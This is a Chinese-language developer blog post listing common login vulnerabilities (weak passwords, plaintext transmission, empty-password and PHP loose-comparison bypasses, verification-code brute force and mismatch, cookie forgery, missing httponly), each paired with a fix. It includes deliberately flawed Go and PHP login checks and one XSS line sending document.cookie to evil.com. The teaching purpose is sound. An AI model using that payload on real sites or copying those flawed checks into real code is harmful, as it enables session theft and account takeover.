後端開發都應該了解的登錄漏洞

登錄是大部分網站都具備的一個功能,作為用戶使用系統的第一步,如果登陸邏輯設計不合理,容易被攻擊者利用,造成安全問題。

密碼泄漏

弱口令

相信大家都知道弱口令是什麼意思,用戶為了方便,一般會使用123456、admin、passwd、password、123qwe等這些作為自己的常用密碼,方便好記。黑客會對這些人們常用的密碼建立破譯字典,逐個嘗試進行破解。另外,也建議大家不要用生日、手機號、姓名等相關資訊作為密碼,黑客在進行暴力破解前,會先收集用戶的這些相關資訊,錄入破譯字典中。

Have I Been Pwned上可以查到,”123456″這個密碼已經被使用了24,230,577

解決辦法

最直接的解決辦法,當然就是用戶自己設置複雜的密碼了。但是我們也應該從開發的角度提高安全性。

強制提高密碼強度

程式規定密碼強度規則,用戶設置密碼時,判斷密碼的強度是否符合要求,不符合拒絕設置。

限制登陸頻率

暴力破解原理是用破譯欄位里的密碼不斷嘗試登陸,我們可以程式控制登錄頻率,比如1分鐘限制5次嘗試登陸,超過這個次數後,再嘗試登陸需要手機號/郵箱驗證碼。提高暴力破解的難度。

密碼明文傳輸

用戶請求登陸時,將用戶的帳號和密碼通過明文的方式直接傳輸到服務端,黑客利用中間人攻擊等手段,就能容易截獲到用戶的帳號密碼。

解決辦法

客戶端和服務端之間的連接使用https加密傳輸。避免傳輸數據被第三方獲取。

程式碼邏輯漏洞

空密碼登錄

密碼輸錯登陸失敗,不輸密碼直接登陸進去了,乍一看不可思議,但確實有這種情況。

func Login(ctx context.Context, userID string, passwdInput *PasswdInfo) (err error) {
	if passwdInput != nil && !passwordChk(userID, passwdInput.password) {
		return errors.New("密碼錯誤")
	}
	// 成功通過
	...
}

大家別笑,真有遇到過這種程式碼, 可能是由於之前出現過passwdInput傳入nil導致程式碼直接panic了,修改時沒注意看邏輯,直接加了一層檢查nil的判斷,導致漏洞的出現。

“萬能密碼” – true

寫PHP的同學肯定都了解”==”和”===”的區別。

if($passwdFromDb == $passwdInput)
{
    // 登陸成功
}

上面程式碼,如果passwdInput傳入true,就能校驗通過了。導致”萬能密碼”。所以同學們寫的時候別吝嗇那個”=”,說不定能救你一命。

驗證碼漏洞

如今,登陸、修改密碼越來越多都依賴手機/郵箱驗證碼了,有些甚至可以帳號/手機號 + 驗證碼的免密登陸,驗證碼控制不當也會是一個漏洞重災區。

驗證碼暴力破解

當登陸/修改密碼時,服務端向我們手機發送一個6位的驗證碼。如果服務端沒有對驗證碼做任何限制。攻擊者就能對驗證碼進行暴力嘗試。

處理辦法

  1. 對驗證碼嘗試次數/頻率進行限制
  2. 控制驗證碼的有效期

A的驗證碼,修改B的用戶資訊

A修改用戶資訊時,需要驗證碼校驗。後端將用戶會話token當成key,value為驗證碼,在redis中存儲。校驗時,只通過token校驗驗證碼,不校驗要修改資訊的目標帳號,比如A在修改參數中的userID = B,就會導致修改了B的用戶資訊。造成漏洞。

解決辦法

注意驗證碼與目標帳號身份的匹配。

cookie漏洞

cookie是用於客戶端存儲會話狀態的,使用不加註意容易導致漏洞產生。

使用cookie進行身份驗證

  • 介面通過請求頭中cookie的userID判斷用戶身份。可以直接修改cookie中的userID欄位,偽造成任意其他用戶。
  • 介面通過請求頭中cookie的role欄位判斷用戶許可權,可以直接修改前端cookie中的role欄位,對用戶進行提權。

解決辦法

使用服務端的session存儲用戶資訊,介面進行身份驗證時,可以通過cookie中的sessionID欄位,找到對應session內容,獲取到用戶資訊,再進行後續判斷。

cookie未設置httponly

xss攻擊是一種程式碼注入攻擊,攻擊者在網站上注入惡意程式碼,使之在用戶訪問網站時運行,從而獲取用戶的敏感資訊。 注入惡意程式碼並不需要直接改網站源程式碼,比如用戶在一個評論區寫下

<script src=「//evil.com」 + escape(document.cookie)>

而程式沒有對輸入內容進行程式碼字元轉義。其他人打開評論區時,就會自動運行這段惡意程式碼,將自己的cookie內容發送到//evil.com,導致cookie的泄漏。

當使用session存儲用戶資訊時,cookie中存放著sessionID,後端介面根據sessionID對應的session進行用戶身份校驗。如果cookie中的sessionID被攻擊者獲取,即可以偽造受害者身份登陸網站。

處理辦法

開啟cookie的httponly屬性,開啟後,無法通過js腳本讀取到cookie資訊。可以有效防止xss攻擊竊取cookie內容。

大家還知道其他的什麼登陸漏洞,歡迎分享探討~

寫在最後

喜歡本文的朋友,歡迎關注公眾號「會玩code」,專註大白話分享實用技術